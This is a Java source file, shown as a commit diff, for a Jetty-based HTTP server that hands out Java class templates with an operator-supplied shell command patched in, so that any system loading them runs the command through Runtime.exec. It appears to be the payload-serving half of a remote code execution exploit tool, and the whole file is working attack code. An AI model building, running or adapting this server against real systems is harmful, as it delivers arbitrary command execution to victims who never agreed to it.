|
| 1 | +package jetty; |
| 2 | + |
| 3 | +import org.eclipse.jetty.server.Server; |
| 4 | +import org.eclipse.jetty.servlet.ServletHandler; |
| 5 | +import javax.servlet.ServletException; |
| 6 | +import javax.servlet.http.HttpServlet; |
| 7 | +import javax.servlet.http.HttpServletRequest; |
| 8 | +import javax.servlet.http.HttpServletResponse; |
| 9 | +import java.io.*; |
| 10 | +import java.net.URLEncoder; |
| 11 | + |
| 12 | +import static run.ServerStart.getLocalTime; |
| 13 | +import static util.Transformers.insertCommand; |
| 14 | + |
| 15 | +/** |
| 16 | + * @Classname JettyServer |
| 17 | + * @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec() |
| 18 | + * @Author welkin |
| 19 | + */ |
| 20 | +public class JettyServer implements Runnable{ |
| 21 | + private int port; |
| 22 | + private Server server; |
| 23 | + private static String command; |
| 24 | + |
| 25 | +// public JettyServer(int port) { |
| 26 | +// this.port = port; |
| 27 | +// server = new Server(port); |
| 28 | +// command = "open /Applications/Calculator.app"; |
| 29 | +// } |
| 30 | + |
| 31 | + public JettyServer(int port,String cmd) { |
| 32 | + this.port = port; |
| 33 | + server = new Server(port); |
| 34 | + command = cmd; |
| 35 | + } |
| 36 | + |
| 37 | + @Override |
| 38 | + public void run() { |
| 39 | + ServletHandler handler = new ServletHandler(); |
| 40 | + server.setHandler(handler); |
| 41 | + |
| 42 | + handler.addServletWithMapping(DownloadServlet.class, "/*"); |
| 43 | + try { |
| 44 | + server.start(); |
| 45 | + server.join(); |
| 46 | + }catch (Exception e){ |
| 47 | + e.printStackTrace(); |
| 48 | + } |
| 49 | + |
| 50 | + } |
| 51 | + |
| 52 | + @SuppressWarnings("serial") |
| 53 | + public static class DownloadServlet extends HttpServlet { |
| 54 | + public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ |
| 55 | + |
| 56 | + String filename = request.getRequestURI().substring(1); |
| 57 | + InputStream in = checkFilename(filename); |
| 58 | + byte[] transformed; |
| 59 | + ByteArrayInputStream bain = null; |
| 60 | + |
| 61 | + if (in != null) { |
| 62 | + try { |
| 63 | + transformed = insertCommand(in,command); |
| 64 | + bain = new ByteArrayInputStream(transformed); |
| 65 | + |
| 66 | + }catch (Exception e){ |
| 67 | + e.printStackTrace(); |
| 68 | + System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed."); |
| 69 | + } |
| 70 | + |
| 71 | + System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL()); |
| 72 | + response.setStatus(HttpServletResponse.SC_OK); |
| 73 | + response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8")); |
| 74 | + |
| 75 | + int len ; |
| 76 | + byte[] buffer = new byte[1024]; |
| 77 | + OutputStream out = response.getOutputStream(); |
| 78 | + if (bain != null){ |
| 79 | + while ((len = bain.read(buffer)) > 0) { |
| 80 | + out.write(buffer,0,len); |
| 81 | + } |
| 82 | + bain.close(); |
| 83 | + }else { |
| 84 | + System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!"); |
| 85 | + } |
| 86 | + }else { |
| 87 | + System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!"); |
| 88 | + } |
| 89 | + } |
| 90 | + |
| 91 | + public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ |
| 92 | + doGet(request, response); |
| 93 | + } |
| 94 | + } |
| 95 | + |
| 96 | + private static InputStream checkFilename(String filename){ |
| 97 | + String template; |
| 98 | + switch (filename){ |
| 99 | + case "ExecTemplateJDK7.class": |
| 100 | + template = "template/ExecTemplateJDK7.class"; |
| 101 | + break; |
| 102 | + case "ExecTemplateJDK8.class": |
| 103 | + template = "template/ExecTemplateJDK8.class"; |
| 104 | + break; |
| 105 | + // TODO:Add more |
| 106 | + default: |
| 107 | + return null; |
| 108 | + } |
| 109 | + return Thread.currentThread().getContextClassLoader().getResourceAsStream(template); |
| 110 | + |
| 111 | + } |
| 112 | + |
| 113 | +} |
0 commit comments